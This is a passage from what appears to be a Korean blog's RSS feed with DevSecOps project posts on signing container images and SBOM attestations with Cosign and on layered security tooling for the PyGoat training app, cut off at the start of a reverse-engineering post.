&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,1,0,0&quot;&gt;원리:&lt;/b&gt; 이미 추출한 이미지 지문(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;$IMAGE_WITH_ID)&lt;/span&gt;에 미리 생성해둔 SBOM 파일(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;pygoat-web.sbom.json&lt;/span&gt;)을 수학적으로 귀속시킵니다. 이 과정은 이미지와 보안 명세서 사이의 **'신뢰 사슬(Chain of Trust)'**을 형성&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777304784537&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 개인키를 사용하여 SBOM 파일을 이미지 증명서로 등록
cosign attest --key cosign.key \
  --type cyclonedx \
  --predicate pygoat-web.sbom.json \
  $IMAGE_WITH_ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;4,1,0&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4,1,0&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4,1,0&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;2단계: 등록된 SBOM 증명서 최종 검증 (Verify Attestation)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;원리:&lt;/b&gt; 첨부된 SBOM 데이터가 변조되지 않았는지 공개키로 최종 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777304797653&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 공개키를 통해 결합된 SBOM의 유효성을 최종 검증
cosign verify-attestation --key cosign.pub \
  --type cyclonedx \
  $IMAGE_WITH_ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;Code &amp;amp; Supply chain 최종 정리&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 애플리케이션인 PyGoat를 로컬 환경에 설치하여 분석 환경을 구축하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 소스 코드 내부에 &lt;b&gt;평문으로 노출된 API key나 패스워드 등의 자격증명을 탐지&lt;/b&gt;하기 위해 &lt;b&gt;Gitleaks를 이용한 Secret Scanning&lt;/b&gt;을 수행하였다..&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 코드 자체의 보안 결함과 외부 의존성 문제를 해결하기 위해 2가지 정적 분석을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SonarQube (SAST)를 통해 소스 코드의 구조를 분석하여 SQL Injection이나 XSS 같은 논리적 취약점을 식별&lt;/b&gt;하였으며, 동시에 &lt;b&gt;Snyk(SCA)를 활용하여 프로젝트에서 참조하는 외부 라이브러리의 알려진 취약점(CVE)를 전수 조사&lt;/b&gt;하고 안전한 버전으로의 패치 경로를 확인하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &lt;b&gt;공급망 가시성 확보를 위해 Syft로 SBOM을 생성하여 이미지 내부에 포함된 모든 패키지와 라이브러리 목록을 표준형식으로 명세화&lt;/b&gt;하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막 단계로&lt;b&gt; Cosign을 활용하여 신뢰 체계&lt;/b&gt;를 완성하였다. 이미지의 고유 지문(Digest)에 디지털 서명을 날인하여 제작자의 신원을 증명하였고, &lt;b&gt;앞서 생성한 SBOM을 Attestation으로 이미지에 암호학적으로 결합&lt;/b&gt;하였다. 이 과정을 통해 배포 시점에 이미지의 출처 뿐만 아니라 내부 성분의 무결성을 한번에 검증할 수 있는 보안 가드레일을 구축하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XrCCo/dJMb99TKUtu/kNe1OX3c3USu7q76pfNC51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XrCCo/dJMb99TKUtu/kNe1OX3c3USu7q76pfNC51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XrCCo/dJMb99TKUtu/kNe1OX3c3USu7q76pfNC51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXrCCo%2FdJMb99TKUtu%2FkNe1OX3c3USu7q76pfNC51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;192&quot; height=&quot;324&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Project/Devsecops</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/154</guid>
      <comments>https://taemin01.tistory.com/154#entry154comment</comments>
      <pubDate>Wed, 22 Apr 2026 16:34:36 +0900</pubDate>
    </item>
    <item>
      <title>PyGoat 기반 DevSecOps 자동화 플랫폼 구축 (0) [프로젝트 개요]</title>
      <link>https://taemin01.tistory.com/153</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로젝트 개요&lt;/b&gt;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;프로젝트명 :&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;PyGoat&lt;/span&gt; 기반 End-to-End &lt;span style=&quot;background-color: #f6e199;&quot;&gt;DevSecOps 가드레일 자동화&lt;/span&gt; 플랫폼&lt;/li&gt;
&lt;li&gt;&lt;b&gt;핵심 목표 :&lt;/b&gt; 취약한 앱(PyGoat)이 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;개발-빌드-배포-운영되는 전 과정에 보안 검증을 자동화&lt;/span&gt;하여 보안내재화 달성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 특징 :&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Shift-Left&lt;/span&gt;(보안의 조기 적용) , &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Zero-Trust&lt;/span&gt;(최소 권한 및 격리), &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Compliance as Code(&lt;/span&gt;정책의 코드화)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로젝트 흐름&lt;/b&gt;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트는 소프트웨어 생명주기 (SLDC)에 따라 4개의 보안 게이트로 구성된다.&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;소프트웨어 생명주기 (Software Development Life Cycle) 주요 단계&lt;br /&gt;요구 사항 분석 - 설계 - 구현 - 테스트 - 배포 - 유지보수&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #006dd7; background-color: #ffffff;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;[Gate 1] Code &amp;amp; Supply Chain (개발 및 공급망)&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;역할:&lt;/b&gt; 소스 코드 작성 및 외부 라이브러리 반입 시점의 결함 차단.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;사용 도구:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,0,0&quot;&gt;Gitleaks:&lt;/b&gt; 코드 내 API 키, 패스워드 등 민감 정보 유출 방지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,1,0&quot;&gt;SonarQube (SAST):&lt;/b&gt; SQLi, XSS 등 시큐어 코딩 규칙 위반 탐지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,2,0&quot;&gt;Snyk (SCA):&lt;/b&gt; 오픈소스 취약점 및 라이선스 위반 점검.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,1,3,0&quot;&gt;Syft &amp;amp; Cosign:&lt;/b&gt; SBOM 생성 및 이미지 서명을 통한 공급망 무결성 보장.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9&quot;&gt;[Gate 2] Infra &amp;amp; Secrets (인프라 및 기밀 관리)&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;역할:&lt;/b&gt; 컨테이너 이미지 및 인프라 설정(IaC)의 취약점 요새화(Hardening).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;사용 도구:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,0,0&quot;&gt;Trivy:&lt;/b&gt; 컨테이너 이미지 내부 패키지 및 OS 취약점 스캔.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,1,0&quot;&gt;Checkov:&lt;/b&gt; Terraform 등 IaC 설정 오류(잘못된 권한 등) 탐지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,2,0&quot;&gt;HashiCorp Vault:&lt;/b&gt; 소스 코드와 분리된 중앙 집중형 보안 비밀 관리.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,3,0&quot;&gt;Docker Hardening:&lt;/b&gt; 비특권 사용자 실행 및 경량화 이미지(Distroless) 적용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;[Gate 3] Orchestration &amp;amp; Policy (오케스트레이션 및 정책)&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;역할:&lt;/b&gt; 쿠버네티스 클러스터 내 운영 규칙 강제 및 내부 확산 방지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;사용 도구:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,0,0&quot;&gt;Kyverno:&lt;/b&gt; 보안 정책(예: Root 실행 금지)을 위반하는 파드 배포 실시간 차단.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,1,0&quot;&gt;Kube-linter:&lt;/b&gt; K8s 매니페스트 파일의 설정 오류 사전 검증.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,1,2,0&quot;&gt;Network Policy:&lt;/b&gt; Zero-Trust 관점의 마이크로 세그멘테이션(통신 격리).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-path-to-node=&quot;13&quot; data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13&quot;&gt;[Gate 4] Cloud/Runtime (클라우드 및 실시간 대응)&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;14&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,0,0&quot;&gt;역할:&lt;/b&gt; 실행 중인 환경에서의 미분류 위협 탐지 및 능동적 사고 대응.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,0&quot;&gt;사용 도구:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;14,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,1,0,0&quot;&gt;Falco:&lt;/b&gt; eBPF 기반 커널 모니터링을 통한 비정상 행위(쉘 접속 등) 탐지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,1,1,0&quot;&gt;Prowler:&lt;/b&gt; AWS/Azure 등 클라우드 설정의 컴플라이언스(CIS) 점검.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,1,2,0&quot;&gt;OWASP ZAP (DAST):&lt;/b&gt; 동적 환경에서의 애플리케이션 공격 테스트.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14,1,1,3,0&quot;&gt;Active Response:&lt;/b&gt; 위협 탐지 시 컨테이너 자동 격리 등 SOAR 기초 구현.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로젝트 구조&amp;nbsp;&lt;/b&gt;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;- 4단계 분리 이유&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;442&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvACTu/dJMcaiiKEU7/cHPq1AvKLhWQJyRJh3JkA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvACTu/dJMcaiiKEU7/cHPq1AvKLhWQJyRJh3JkA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvACTu/dJMcaiiKEU7/cHPq1AvKLhWQJyRJh3JkA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvACTu%2FdJMcaiiKEU7%2FcHPq1AvKLhWQJyRJh3JkA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;442&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;- 단계별 도구 선정 이유&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;[1주차] 공급망 보안의 핵심&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;Gitleaks:&lt;/b&gt; 사람이 가장 많이 하는 실수인 비밀번호를 코드에 적는 것을 자동 차단하여 계정 탈취 사고를 원천 봉쇄&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;SonarQube:&lt;/b&gt; 업계 표준 SAST 도구. SQL 인젝션 같은 고전적이지만 치명적인 코드 결함을 리포팅하여 '시큐어 코딩' 준수를 강제&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,2,0&quot;&gt;Snyk:&lt;/b&gt; 현대 개발에 자주 사용되는 오픈소스의 라이브러리 취약점을 전담 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;[2주차] 인프라 강화의 핵심&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;Trivy:&lt;/b&gt; 컨테이너 이미지 안의 오래된 패키지 취약점을 가장 빠르고 정확하게 찾아냄 (가장 널리 쓰이는 표준 도구).&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;Checkov:&lt;/b&gt; 클라우드 설정(Public S3 등) 실수를 코드로 검사함. 인적 오류에 의한 클라우드 유출 사고 방지가 목적&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,0&quot;&gt;HashiCorp Vault:&lt;/b&gt; 소스 코드나 환경 변수에 암호 정보를 절대 두지 않기 위한 '금고' 역할.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;[3주차] 통제와 격리의 핵심&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;Kyverno:&lt;/b&gt; K8s 전용 정책 엔진. &quot;Root 권한 실행 금지&quot; 같은 규칙을 강제하여 보안 수준을 상향 평준화함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;Network Policy:&lt;/b&gt; 침입자가 들어왔을 때 옆 컨테이너로 퍼지지 못하게 물리적으로 격리(Segment)하여 피해를 최소화함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;[4주차] 실시간 탐지와 대응의 핵심&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;Falco:&lt;/b&gt; &lt;b data-index-in-node=&quot;7&quot; data-path-to-node=&quot;13,0,0&quot;&gt;eBPF&lt;/b&gt; 기술을 써서 커널 수준에서 행위를 감시함. 공격자가 파일을 수정하거나 쉘에 접속하는 순간을 0.1초 만에 감지함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;Prowler:&lt;/b&gt; 클라우드 서비스(AWS 등)가 보안 권고안(CIS Benchmark)을 잘 지키고 있는지 종합 점검함.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BHlb5/dJMcabqqzbH/o4pvvu5i2aqyBNwq6Mgj90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BHlb5/dJMcabqqzbH/o4pvvu5i2aqyBNwq6Mgj90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BHlb5/dJMcabqqzbH/o4pvvu5i2aqyBNwq6Mgj90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBHlb5%2FdJMcabqqzbH%2Fo4pvvu5i2aqyBNwq6Mgj90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1408&quot; height=&quot;768&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Project/Devsecops</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/153</guid>
      <comments>https://taemin01.tistory.com/153#entry153comment</comments>
      <pubDate>Wed, 22 Apr 2026 14:34:10 +0900</pubDate>
    </item>
    <item>
      <title>rev-basic-4 (Nibble swap)</title>
      <link>https://taemin01.tistory.com/152</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s2zLl/dJMcafTOZeX/svOchXFEewKp3tgJt0VOSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s2zLl/dJMcafTOZeX/svOchXFEewKp3tgJt0VOSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s2zLl/dJMcafTOZeX/svOchXFEewKp3tgJt0VOSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs2zLl%2FdJMcafTOZeX%2FsvOchXFEewKp3tgJt0VOSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;186&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
